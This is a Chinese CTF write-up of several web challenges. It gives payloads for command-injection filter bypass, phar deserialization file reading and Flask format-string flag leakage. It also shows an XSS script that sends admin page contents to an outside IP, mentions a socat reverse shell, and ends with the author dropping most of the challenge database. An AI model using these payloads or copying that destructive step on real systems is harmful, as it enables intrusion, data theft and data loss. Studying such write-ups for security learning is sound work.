写这篇的时候正值期末考试期间,忙于复习,但是看到快要关环境还是抽时间在凌晨写了,比较匆忙。
用优惠码 买个 X ?
Description:
flag在/flag中
这题首先登录进去,发现题目给了一个优惠码然后有一个买手机的页面,把题目给的优惠码输进去,提示已经过期而且说要24位的优惠码,但是题目给的优惠码只有15位。扫一下,发现有www.zip
,拿到关键源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
给了优惠码的生成机制,用的是mt_rand()
,由此想到,可以由题目给的优惠码,推出随机数序列,从而爆破出种子。PHP随机数的安全性相关可以看这篇文章。推出随机数序列的脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16a='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
b='y7gdPhQIq2BiVtl'
arr=[]
for i in b:
for k in a:
if i==k:
if b.index(i)<=7:
print a.index(i),
arr.append(a.index(i))
else:
print 62-a.index(i),
arr.append(62-a.index(i))
print ''
for i in arr:
print str(i)+' '+str(i)+' 0 61 ',
然后,送到php_mt_seed
爆破出种子,注意这里有一定的格式要求,脚本也体现出来了。然后拿去生成24位的优惠码,把len改成24即可。注意php版本是7.2购买之后,到了一个新的页面从泄露的源码可以看到,有一定的waf,但是绕过比较简单,不赘述。payload:1.1.1.1%0aca\t /fl\ag
Injection ???
Description
听说这是喜闻乐见的注入?
SimplePHP
Description:
West or east,php is best.
这是一道比较不错的反序列化题目,结合了比较多知识点。题目有查看文件和上传文件功能,查看文件处可以读源码。
关键代码如下:
function.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
file.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
class.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
读取不可访问属性的值时,
__get()
会被调用。__toString()
方法用于一个类被当成字符串时应怎样回应。例如echo $obj;
应该显示些什么。此方法必须返回一个字符串
利用链:反序列化使得C1e4r
类的__destruct()
被调用,把C1ear
的$str
替换成Show
的对象,然后Show
的__toString()
会被调用,会去读取$this->str['str']->source
,这里把str['str']
替换成Test
的对象,然后Test
因为没有source
,会调用__get
,最终造成文件读取。
poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a=new Test();
$a->params=array('source'=>'/var/www/html');
$b=new Show('zxc');
$b->str=array('str'=>$a);
$c=new C1e4r('zxc');
$c->str=$b;
@unlink('shell.phar');
$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetaData($c);
$phar->stopBuffering();
在file_exists
的时候就完成了所有步骤
http://120.79.158.180:11115/file.php?file=phar://upload/f56426e6fcffd78dfa1b6c435acb333f.jpg/asd
皇家线上赌场
Description:
惊!海南某大学学生沉迷赌博,竟干出这种事…
首先一进来题目就被弹窗了
游戏规则:
您有1万初始金额(可提现),请在10分钟内使用,否则账户重置。您可以在本平台认购游戏币,并且可以随时卖出。买入价为平台官方价格1元/币,卖出价随机,最小0.8/币,最大2/币封顶,多买多赚,只需10分钟,您就可以喜提flag,迎娶白富美,走上人生巅峰!!!
view source 有两个提示/source:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20[root@localhost]# tree web
web/
├── app
│ ├── forms.py
│ ├── __init__.py
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── utils.py
│ └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
filename = os.path.join('app/static', filename)
很明显,views.py
的那一段代码,就是拿来提示你怎么读文件的,这又是一个老话题读/proc/self/mounts
可以读到路径但是读不到代码,只能读个req.txt
,作用不大接下来用到一个重要技巧,Linux中/proc/self/cwd
返回的是当前工作目录的符号链接,尝试一波读源码,发现可以。__init__.py
1
2
3
4
5
6
7
8
9
10
11
12
13from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db
def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app
views.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31def register_views(app):
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)
伪造session(把用户名改成admin来绕过重置),session_cookie_manager.py
有时候不是很行,用来解密可以,加密貌似toses.py
比较稳最后用这个payload get flagfield=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag
有趣的邮箱注册
Description
1
题目有邮箱验证和后台管理功能,邮箱验证是把邮箱发给admin,由此想到XSS,后台管理功能暴露了admin.php
view source可以看到部分代码可以看这篇文章绕过。可以用这个payload"<script/src=\'http://123.207.99.17/fuck.js\'></script>"@qq.com
,或者直接里面不用引号"<script/src=//123.207.99.17/fuck.js></script>"@qq.com
,然后常规payload去看admin.php
有啥1
2
3
4
5
6
7
8xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
document.location='http://123.207.99.17/xss?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open('GET','admin.php',true);
xmlhttp.send();
admin.php1
<br /><a href="admin/a0a.php?cmd=whoami">
基本上可以确定a0a.php
是可以命令执行的,改一下payload继续打1
2
3
4
5
6
7
8xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
document.location='http://123.207.99.17/xss?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open('GET','a0a.php?cmd=whoami',true);
xmlhttp.send();
ls /
:可以看到有一个flag文件,但是直接cat是读不了的,反弹shell,发现是权限问题这个文件属于flag用户然后试了下用socat反弹真正的交互式shell,成功了~就很舒服继续读一下能读的代码a0a.php
1
2
3
4
5
6
7
echo "your ip: $_SERVER[REMOTE_ADDR]";
include('local.php');
system($_GET['cmd']);
local.php
1
2
3
4
if(@$_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost allowed!');
}
admin.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("local.php");
include("../conn.php");
$sql = "select * from message limit 1";
echo "<br />";
echo '<a href="admin/a0a.php?cmd=whoami">';
$query = mysqli_query($conn,$sql);
if($query) {
$row = mysqli_fetch_assoc($query);
if($row) {
echo '<a href="admin/validate.php">' . $row['email'] . '</a>';
$id = $row['id'];
mysqli_query($conn, "delete from message where id=$id");
}
}
conn.php
1
2
3
4
5
6
7
8
$conn = mysqli_connect("localhost","ctf","sp4rkctf","ctf");
mysqli_set_charset($conn, 'utf8');
if (!$conn)
{
die("连接错误: " . mysqli_connect_error());
}
然后使用强大的socat shell,直接连数据库但是很尴尬的是,数据库里面也没有flag。值得一提的是,数据库可以 root root登进去然后我顺手把数据库差不多drop完了,还给建了一个